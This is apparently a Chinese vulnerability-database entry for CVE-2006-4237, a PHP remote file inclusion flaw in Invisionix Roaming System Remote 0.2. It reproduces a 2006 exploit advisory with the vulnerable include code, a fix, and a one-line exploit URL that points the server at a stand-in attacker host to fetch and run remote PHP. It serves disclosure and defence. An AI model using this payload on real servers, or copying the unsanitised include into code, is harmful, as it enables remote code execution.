Invisionix Roaming System Remote 'Pageheaderdefault.Inc.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110846 漏洞类型 输入验证
发布时间 2006-08-17 更新时间 2006-08-22
CVE编号 CVE-2006-4237 CNNVD-ID CNNVD-200608-344
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2199
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-344
|漏洞详情
InvisionixRoamingSystemRemote(IRSR)0.2及早期版本的pageheaderdefault.inc.php脚本存在PHP远程文件包含漏洞,远程攻击者可借助_sysSessionPath参数中的URL执行任意PHP代码。
|漏洞EXP
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IRSR - Invisionix Roaming System Remote <= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IRSR - Invisionix Roaming System Remote v. 0.2
- [Script site: http://www.invisionix.org or http://sourceforge.net/projects/irsr
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart :-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
+
- P.S: Pozdrawiam ludzi z United Crew!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => pageheaderdefault.inc.php line 28-36:
[code]
//
// Perform the session handling preprocessing.
//
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!
");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!
");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix:
[code]
$_sysSessionPath = @dirname(@dirname(@dirname(__FILE__)));
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-17]
|参考资料

来源:XF
名称:irsr-pageheader-file-include(28427)
链接:http://xforce.iss.net/xforce/xfdb/28427
来源:BID
名称:19567
链接:http://www.securityfocus.com/bid/19567
来源:MILW0RM
名称:2199
链接:http://www.milw0rm.com/exploits/2199
来源:MILW0RM
名称:2199
链接:http://milw0rm.com/exploits/2199